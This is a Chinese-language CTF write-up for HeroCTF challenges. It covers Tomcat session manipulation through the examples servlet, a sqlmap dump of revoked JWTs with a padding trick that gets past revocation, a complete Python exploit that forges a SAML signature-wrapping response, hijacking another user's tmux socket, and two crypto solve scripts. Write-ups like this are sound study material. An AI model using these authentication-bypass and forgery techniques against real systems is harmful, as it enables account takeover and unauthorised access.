WEB

Tomwhat

题目部分源码

java
// LightServlet.java
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
String username = req.getParameter("username");
if ("darth_sidious".equalsIgnoreCase(username)) {
req.setAttribute("error", "Forbidden username.");
doGet(req, resp);
return;
}
req.getSession().setAttribute("username", username);
resp.sendRedirect(req.getContextPath() + "/");
}

// AdminServlet.java
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {

resp.setContentType("text/html;charset=UTF-8");

HttpSession s = req.getSession(false);
String username = s == null ? null : (String) s.getAttribute("username");

StringBuilder html = new StringBuilder("<html><body><h1>Admin Panel</h1>");

if ("darth_sidious".equalsIgnoreCase(username)) {
html.append("<p>Welcome Lord Sidious, Vador says: Hero{fake_flag}.</p>");
} else {
html.append("<p>Access denied.</p>");
}

html.append("</body></html>");
resp.getWriter().write(html.toString());
}

Tomcat 的/examples/路由下有一些例子可以手动更改 session 的值
访问 http://url/examples/servlets/servlet/SessionExample

根据要求,把 username 设成 darth_sidious
alt text
访问 http://url/dark/admin 拿到 flag
alt text

参考链接:
https://wiki.96.mk/Web安全/Tomcat/Tomcat样例目录session操纵漏洞/

Revoked & Revoked Revenge

sqlmap 一把梭到报废 token 中看一个 is_admin=1 的 token

cmd
python sqlmap.py -r 1.txt --dbms sqlite --technique U -v 3 -T revoked_tokens --columns --dump --batch

alt text
base64 解码得到 admin 的报废 token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNfYWRtaW4iOjEsImlzc3VlZCI6MTc2NDQ5NTc4Ny40NDIyNTU1fQ.Wjzeo8h4XvwbONqfJPDTGaPWp3qbXo5CiOAfphqwGBA

稍微改一下 token,在 JWT 正常识别的情况下就能拿到 flag
总所周知,jwt 原理就是 base64 编码,但 Base64 有三个字符+、/和=,在 URL 里面有特殊含义,所以要被替换掉:=被省略、+替换成-,/替换成_。
所以在 Cookie 最后加一个等于号就绕过了。
alt text

SAMLevinson

爬虫题,参考的 CVE 是 CVE-2022-47966,漏洞原理是 golang 处理 saml 时的两种引擎冲突。验证看的是第一个 assert,返回的却是第二个 assert。
要自己先生成一个 sha1 的证书 cert.pem 和 key.pem

bash
openssl genrsa -out key.pem 2048
openssl req -new -key key.pem -out csr.pem -subj "/CN=saml-test"
openssl x509 -req -in csr.pem -signkey key.pem -out cert.pem -days 365 -sha1

exp.py

py
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse, parse_qs
from base64 import b64decode, b64encode
import subprocess

# Users->Administrators


def extract_form_params(html_content):
soup = BeautifulSoup(html_content, "html.parser")
form = soup.find("form")

if not form:
return None

# 提取表单基本信息
form_data = {
"action": form.get("action"),
"method": form.get("method", "get").upper(),
"inputs": {},
}

# 提取所有输入字段
inputs = form.find_all("input")
for input_field in inputs:
name = input_field.get("name")
value = input_field.get("value", "")
input_type = input_field.get("type", "text")

if name: # 只处理有 name 属性的字段
form_data["inputs"][name] = {"value": value, "type": input_type}

return form_data


url1 = "http://web.heroctf.fr:8080"
url2 = "http://web.heroctf.fr:8081"
r1 = requests.get(url=url1 + "/flag", allow_redirects=False)
if r1.status_code in [301, 302, 303, 307, 308]:
location_header = r1.headers.get("Location")
if location_header:
print(f"重定向到: {location_header}")

# 解析URL和参数
parsed_url = urlparse(location_header)
params = parse_qs(parsed_url.query)

# 简化参数值(parse_qs返回列表)
simple_params = {k: v[0] if len(v) == 1 else v for k, v in params.items()}

cookies1 = r1.cookies
r2 = requests.get(url=url2 + "/sso", params=simple_params)
html = r2.text
dat1 = extract_form_params(html)
# print(dat["inputs"]["SAMLRequest"]["value"])
data1 = {"user": "user"}
for i in dat1["inputs"]:
data1[i] = dat1["inputs"][i]["value"]
data1["user"] = "user"
data1["password"] = "oyJPNYd3HgeBkaE%!rP#dZvqf2z*4$^qcCW4V6WM"
# print(data)

r2 = requests.post(url=url2 + "/sso", data=data1)
html = r2.text
dat2 = extract_form_params(html)
# print(dat["inputs"]["SAMLResponse"]["value"])
data2 = {"SAMLResponse": ""}
for i in dat2["inputs"]:
data2[i] = dat2["inputs"][i]["value"]


decode_response = b64decode(dat2["inputs"]["SAMLResponse"]["value"]).decode()
with open("original_payload.xml", "w") as w:
w.write(decode_response)

with open("status.xml", "w") as w:
content = decode_response.split("<saml:Assertion")[0]
w.write(content)
with open("assertion.xml", "w") as w:
content = "<saml:Assertion" + decode_response.split("<saml:Assertion", 1)[1]
content = content.replace("</samlp:Response>", "")
w.write(content)
result = subprocess.run(["python", "gen.py"], capture_output=True, text=True)
output = result.stdout.strip()
err = result.stderr
print(err)
with open("payload.xml", "w") as w:
payload = open("status.xml", "r").read()
payload += open("assertion.xml", "r").read()
payload += open("assertion2.xml", "r").read()
payload += "</samlp:Response>"
w.write(payload)
output = b64encode(open("payload.xml", "rb").read()).decode()

data2["SAMLResponse"] = output
print(data2)
r1 = requests.post(
url=url1 + "/saml/acs",
cookies=cookies1,
data=data2,
allow_redirects=False,
)
print(r1.text)
cookies1 = r1.cookies
r1 = requests.get(url=url1 + "/flag", cookies=cookies1, allow_redirects=False)
print(r1.text)

gen.py

py
import re
from lxml import etree
from signxml import XMLSigner, XMLVerifier
import base64
import urllib.parse
import uuid


def resign_assertion(assertion_xml, private_key, certificate):
# 将user替换为admin,Users替换为Administrators
assertion_modified = assertion_xml.replace("user", "admin").replace(
"Users", "Administrators"
)

# 生成新的ID
new_id = "id-" + str(uuid.uuid4().hex)

# 移除原有的签名
assertion_clean = re.sub(
r"<ds:Signature.*?</ds:Signature>", "", assertion_modified, flags=re.DOTALL
)

# 替换ID
assertion_clean = re.sub(r'ID="[^"]*"', f'ID="{new_id}"', assertion_clean)

# 在Issuer后面插入新的签名占位符
issuer_end = assertion_clean.find("</saml:Issuer>") + len("</saml:Issuer>")
assertion_with_placeholder = (
assertion_clean[:issuer_end]
+ '<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#" Id="placeholder"></ds:Signature>'
+ assertion_clean[issuer_end:]
)

# 重新签名
assertion_root = etree.fromstring(assertion_with_placeholder.encode())
signed_assertion = XMLSigner(
c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
signature_algorithm="rsa-sha1",
digest_algorithm="sha1",
).sign(assertion_root, key=private_key, cert=certificate)

return etree.tostring(signed_assertion, encoding="unicode")


# 主程序
with open("assertion.xml", "r") as file:
assertion_xml = file.read()

with open("cert.pem", "r") as cert, open("key.pem", "r") as key:
certificate = cert.read()
private_key = key.read()

# 重新签名Assertion
resigned_assertion = resign_assertion(assertion_xml, private_key, certificate)
resigned_assertion = resigned_assertion.replace("\n", "").replace("\r", "")

# 写入assertion2.xml
with open("assertion2.xml", "w") as w:
w.write(resigned_assertion)

print("修改并重新签名的Assertion已保存到 assertion2.xml")

参考链接
https://www.bilibili.com/opus/824399670911434755
alt text
更改 user 为 admin 非必要

System

Movie Night #1

不是很会提到 root 权限
第一题是读取/home/dev/flag.txt

bash
ps auxf
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
dev 31 0.0 0.0 4548 3192 ? Ss 09:56 0:00 tmux -S /tmp/tmux-1002 new-session -d -s work bash
dev 32 0.0 0.0 4196 3504 pts/0 Ss+ 09:56 0:00 \_ bash

看到 dev 开了一个 tmux 的 shell,直接连进去读它的文件就行

bash
tmux -S /tmp/tmux-1002 attach
cat /home/dev/flag.txt

alt text

Crypto

Andor

py
#!/usr/bin/env python3
import secrets

AND = lambda x, y: [a & b for a, b in zip(x, y)]
IOR = lambda x, y: [a | b for a, b in zip(x, y)]

with open("flag.txt", "rb") as f:
flag = [*f.read().strip()]
l = len(flag) // 2

while True:
k = secrets.token_bytes(len(flag))
a = AND(flag[:l], k[:l])
o = IOR(flag[l:], k[l:])

print("a =", bytearray(a).hex())
print("o =", bytearray(o).hex())
input("> ")

前半部分:
a[i]=flag[i] & k[i]
后半部分:
o[i]=flag[i] | k[i]

k[i]取{0,1},可以看出当 flag[i]=0 时,a[i]总为 0,flag[i]=1 时,o[i]总为 1,所以当获取足够多的数据时,就能得到 flag 的所有位的比特值。

py
from pwn import *

context(arch="amd64", os="linux", log_level="debug")
# 连接服务器
conn = remote("crypto.heroctf.fr", 9000)

# 存储样本
a_samples = []
o_samples = []

# 收集足够多的样本
print("正在收集样本...")
try:
for i in range(200): # 200次应该足够
conn.recvuntil(b"a = ")
a_hex = conn.recvline().decode().strip()
a_bytes = bytes.fromhex(a_hex)
a_samples.append(a_bytes)
conn.recvuntil(b"o = ")
o_hex = conn.recvline().decode().strip()
o_bytes = bytes.fromhex(o_hex)
o_samples.append(o_bytes)

# 发送任意输入继续
conn.sendline(b"")

if (i + 1) % 20 == 0:
print(f"已收集 {i + 1} 个样本")

except EOFError:
print("连接结束")

print(f"收集完成,共 {len(a_samples)} 个样本")
print(a_samples)
print(o_samples)
# 计算flag长度
flag_len = len(a_samples[0]) * 2
l = len(a_samples[0]) # 前半部分长度
print(f"Flag长度: {flag_len}, 前半部分长度: {l}")

# 恢复前半部分 (AND部分)
print("恢复前半部分...")
flag_first_half = bytearray(l)
for i in range(l):
byte_val = 0
for sample in a_samples:
byte_val |= sample[i] # 按位或
flag_first_half[i] = byte_val

# 恢复后半部分 (OR部分)
print("恢复后半部分...")
flag_second_half = bytearray(l)
for i in range(l):
byte_val = 0xFF # 初始全1
for sample in o_samples:
byte_val &= sample[i] # 按位与
flag_second_half[i] = byte_val

# 组合flag
flag_bytes = flag_first_half + flag_second_half
flag = bytes(flag_bytes)

print(f"恢复的flag: {flag}")
print(f"ASCII: {flag.decode('ascii', errors='ignore')}")

# 保存到文件
with open("recovered_flag.txt", "wb") as f:
f.write(flag)

print("Flag已保存到 recovered_flag.txt")

Perilous

py
#!/usr/bin/env python3
from cryptography.hazmat.decrepit.ciphers import algorithms
from cryptography.hazmat.primitives.ciphers import Cipher
import os

with open("flag.txt", "rb") as f:
FLAG = f.read()

MASK = os.urandom(len(FLAG))
KEYS = []


def xor(a: bytes, b: bytes) -> bytes:
return bytes(x ^ y for x, y in zip(a, b * (1 + len(a) // len(b))))


def encrypt(k: str, m: str) -> str:
k = bytes.fromhex(k)
m = bytes.fromhex(m)

if k in KEYS:
raise Exception("Duplicate key used, aborting")

KEYS.append(k)

algorithm = algorithms.ARC4(k)
cipher = Cipher(algorithm, mode=None)
encryptor = cipher.encryptor()

m = xor(m, MASK)
m = encryptor.update(m)
m = xor(m, MASK)
return m.hex()


print(
"Welcome to my RC4 encryption service! Some may call it deprecated, I call it vintage.",
)

k = input("flag k: ")
print(encrypt(k, FLAG.hex()))

while True:
k = input("k: ")
m = input("m: ")
print(encrypt(k, m))

MASK 值在加密过程中被抵消了,实际是不存在的,题目就是标准 RC4。
那么用来加密全\x00 的字符串的话,就能得到 key。
ai 秒了

py
#!/usr/bin/env python3
from pwn import *
from Crypto.Cipher import ARC4
import binascii


def xor(a, b):
return bytes(x ^ y for x, y in zip(a, b))


# 连接服务器
conn = remote("crypto.heroctf.fr", 9001) # 根据实际地址修改

# 选择任意密钥(十六进制字符串)
key_hex = "11223344556677889900aabbccddeeff" # 任意值

# 发送密钥加密flag
conn.recvuntil(b"flag k: ")
conn.sendline(key_hex.encode())

# 接收加密后的flag
response = conn.recvline().decode().strip()
encrypted_flag_hex = response
encrypted_flag = bytes.fromhex(encrypted_flag_hex)

print(f"加密的flag: {encrypted_flag_hex}")

# 在本地用相同密钥生成RC4密钥流
key_bytes = bytes.fromhex(key_hex)
cipher = ARC4.new(key_bytes)
keystream = cipher.encrypt(b"\x00" * len(encrypted_flag)) # 加密全零得到密钥流

# 解密flag
flag = xor(encrypted_flag, keystream)
print(f"解密结果: {flag}")

# 尝试解码
try:
flag_text = flag.decode("ascii")
print(f"Flag: {flag_text}")
except:
print("包含非ASCII字符")
print(f"Hex: {flag.hex()}")

conn.close()